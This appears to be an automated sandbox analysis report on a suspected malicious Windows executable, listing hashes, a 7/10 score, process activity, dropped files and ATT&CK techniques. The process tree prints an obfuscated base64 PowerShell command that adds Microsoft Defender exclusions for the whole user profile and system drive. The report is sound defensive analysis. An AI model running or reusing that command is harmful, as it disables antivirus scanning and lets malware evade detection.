ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c

Analysis

max time kernel
19s
max time network
18s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
04-08-2024 04:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe
Size

11.1MB
MD5

9463d23c37cde3d9c493add92e45b200
SHA1

be3caaabcb07e0c87cb8fde64dca0756f743781b
SHA256

ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c
SHA512

3c1d42fbfd9d10868e40e8bd47f8cf44b9fc77fa9d2d3fa6ad9ee998434f5e5d4385f88e6a1eb04f61be41e7e7b470619d3ca20e4ea367ea4c7db4fc0a4ab76d
SSDEEP

196608:1DbMm+VdMvQHVAOwn6gOe38B5HhNwm2/6UEpDSAoz0S907RV/6rYaQ28eO3GaEAH:+mBYH3wn6RBRwNiUpLz0tqYm865A

Score

7^/10

defense_evasion discovery pyinstaller upx

Malware Config

Signatures

Executes dropped EXE 4 IoCs

pid	Process
3048	Bootstrapper (2).exe
1736	Solarsetup.exe
2536	Solarsetup.exe
1392	Process not Found

Loads dropped DLL 16 IoCs

pid	Process
1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe
1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe
1736	Solarsetup.exe
2536	Solarsetup.exe
2536	Solarsetup.exe
2536	Solarsetup.exe
2536	Solarsetup.exe
2536	Solarsetup.exe
2536	Solarsetup.exe
2536	Solarsetup.exe
1940	WerFault.exe
1940	WerFault.exe
1940	WerFault.exe
1940	WerFault.exe
1940	WerFault.exe
1392	Process not Found

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000500000001c8a2-114.dat	upx
behavioral1/memory/2536-116-0x000007FEF5DF0000-0x000007FEF625E000-memory.dmp	upx

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x00090000000173d9-9.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1940	3048	WerFault.exe	31

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper (2).exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2392	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeDebugPrivilege	3048	Bootstrapper (2).exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 1768 wrote to memory of 2392	1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe	29
PID 1768 wrote to memory of 2392	1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe	29
PID 1768 wrote to memory of 2392	1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe	29
PID 1768 wrote to memory of 2392	1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe	29
PID 1768 wrote to memory of 3048	1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe	31
PID 1768 wrote to memory of 3048	1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe	31
PID 1768 wrote to memory of 3048	1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe	31
PID 1768 wrote to memory of 3048	1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe	31
PID 1768 wrote to memory of 1736	1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe	33
PID 1768 wrote to memory of 1736	1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe	33
PID 1768 wrote to memory of 1736	1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe	33
PID 1768 wrote to memory of 1736	1768	ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe	33
PID 1736 wrote to memory of 2536	1736	Solarsetup.exe	34
PID 1736 wrote to memory of 2536	1736	Solarsetup.exe	34
PID 1736 wrote to memory of 2536	1736	Solarsetup.exe	34
PID 3048 wrote to memory of 1940	3048	Bootstrapper (2).exe	35
PID 3048 wrote to memory of 1940	3048	Bootstrapper (2).exe	35
PID 3048 wrote to memory of 1940	3048	Bootstrapper (2).exe	35
PID 3048 wrote to memory of 1940	3048	Bootstrapper (2).exe	35

C:\Users\Admin\AppData\Local\Temp\ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe
"C:\Users\Admin\AppData\Local\Temp\ffcc552668809cd069ef0756d3deac76038edb103b7ed61e2b84ed0b8921287c.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1768
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAZgBuACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AawBpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGgAbQBwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGkAbABtACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2392
- C:\Users\Admin\AppData\Local\Temp\Bootstrapper (2).exe
  "C:\Users\Admin\AppData\Local\Temp\Bootstrapper (2).exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3048 -s 620
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:1940
- C:\Users\Admin\AppData\Local\Temp\Solarsetup.exe
  "C:\Users\Admin\AppData\Local\Temp\Solarsetup.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Users\Admin\AppData\Local\Temp\Solarsetup.exe
    "C:\Users\Admin\AppData\Local\Temp\Solarsetup.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\_MEI17362\api-ms-win-core-file-l1-2-0.dll

Filesize
21KB

MD5
3473bc217562594b5b126d7aeb9380e9

SHA1
b551b9d9aa80be070f577376e484610e01c5171a

SHA256
0d8190fd619feb20df123931108d499132f7051f1ebb0ef246082f4c52c88b22

SHA512
036b93457ade632ad68264d81ff26ee1156038e234c606882386d6babcbe722a18e9ced1655f97caecaf5fd514e261dafe999a3e9fec00cc677e177f0bf8e203

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI17362\api-ms-win-core-localization-l1-2-0.dll

Filesize
21KB

MD5
0414909b279ea61ca344edbe8e33e40b

SHA1
4ece0dabe954c43f9bd5032de76ec29c47b22e10

SHA256
05b0c773a77850f3d50ddb4b82cc4d5f19316fe1aaa65e21b4709ae73f60a28e

SHA512
edbd33540cd1ef69f2ce824cfb991903ec6e4edda815f07d610247594ceeb2ebc78f05a44b4de8c5c937191b7e8b2ef221423c06df303d73deea721c25d15eed

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI17362\python310.dll

Filesize
1.4MB

MD5
fc7bd515b12e537a39dc93a09b3eaad6

SHA1
96f5d4b0967372553cb106539c5566bc184f6167

SHA256
461e008b7cdf034f99a566671b87849772873a175aefec6ed00732976f5c4164

SHA512
a8433d5b403f898e4eeebd72fce08ebad066ca60aeb0b70e2ae78377babc2acbbae2ac91ab20f813cce4b1dc58c2ad6b3868f18cc8ac0fe7be2bff020eb73122

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI17362\ucrtbase.dll

Filesize
1.1MB

MD5
3b337c2d41069b0a1e43e30f891c3813

SHA1
ebee2827b5cb153cbbb51c9718da1549fa80fc5c

SHA256
c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7

SHA512
fdb3012a71221447b35757ed2bdca6ed1f8833b2f81d03aabebd2cd7780a33a9c3d816535d03c5c3edd5aaf11d91156842b380e2a63135e3c7f87193ad211499

Download Submit
\Users\Admin\AppData\Local\Temp\Bootstrapper (2).exe

Filesize
795KB

MD5
365971e549352a15e150b60294ec2e57

SHA1
2932242b427e81b1b4ac8c11fb17793eae0939f7

SHA256
faad2bc8e61b75e595a80ff2b6d150ff8b27187a8ba426cc1e5e38e193ab6d42

SHA512
f7ba1353e880213a6bdf5bd1dfdfd42a0acf4066a540a502e8df8fec8eac7fb80b75aa52e68eca98be3f7701da48eb90758e5b94d72013d3dff05e0aaf27e938

Download Submit
\Users\Admin\AppData\Local\Temp\Solarsetup.exe

Filesize
10.3MB

MD5
fc6f246fc06155fb92d0445e3d21e9a2

SHA1
951ac11b02ad9b45475acf3203aa11dde356c0ef

SHA256
e33fd4cd0958032ed04a96ccd95d8e3ea1d514fa0549a352e99b948f014f685c

SHA512
d64bf60a8786e756f12cc19c3da12fa47f4b0f9c1f0703bf61c830efdfe706e4d6492c85c2214390b6a4c10361d93316eab9b1c3e7ff16034a115df126935600

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI17362\api-ms-win-core-file-l2-1-0.dll

Filesize
20KB

MD5
50abf0a7ee67f00f247bada185a7661c

SHA1
0cddac9ac4db3bf10a11d4b79085ef9cb3fb84a1

SHA256
f957a4c261506484b53534a9be8931c02ec1a349b3f431a858f8215cecfec3f7

SHA512
c2694bb5d103baff1264926a04d2f0fe156b8815a23c3748412a81cc307b71a9236a0e974b5549321014065e393d10228a0f0004df9ba677f03b5d244a64b528

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI17362\api-ms-win-core-processthreads-l1-1-1.dll

Filesize
21KB

MD5
b1ba47d8389c40c2dda3c56cbed14fc5

SHA1
2eef9ffa32171d53affa44e3db7727aa383f7fac

SHA256
c7277c05dc6b905fad5cb930b0ecfbbc4676b46974b4571e54ca44cb6f6be404

SHA512
466e31f17f73bda5149343b23f4966502a8597d2a2e43f9a6c9c32387451d92c6b658ccaae27044e68e4a9fd0ef9c89e32dc7639d59fcf04c596b6abfa09658b

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI17362\api-ms-win-core-timezone-l1-1-0.dll

Filesize
21KB

MD5
953c63ef10ec30ef7c89a6f0f7074041

SHA1
4b4f1ff3085fded9dbd737f273585ad43175b0a3

SHA256
c93954167c12e15b58ac95240d2e0a2fbd94561d739d9f6aca906d9c30453496

SHA512
b4534785e4d02ad387e3c6082884d438cc4b3cd8758aabcf99620052f5842dbd298351bc1723c274d4f7d3fce0cc940df3d47865fece2f07cdb1151376ba852e

Download Submit
memory/2536-116-0x000007FEF5DF0000-0x000007FEF625E000-memory.dmp

Filesize
4.4MB

Download
memory/3048-117-0x0000000000AA0000-0x0000000000B6E000-memory.dmp

Filesize
824KB

Download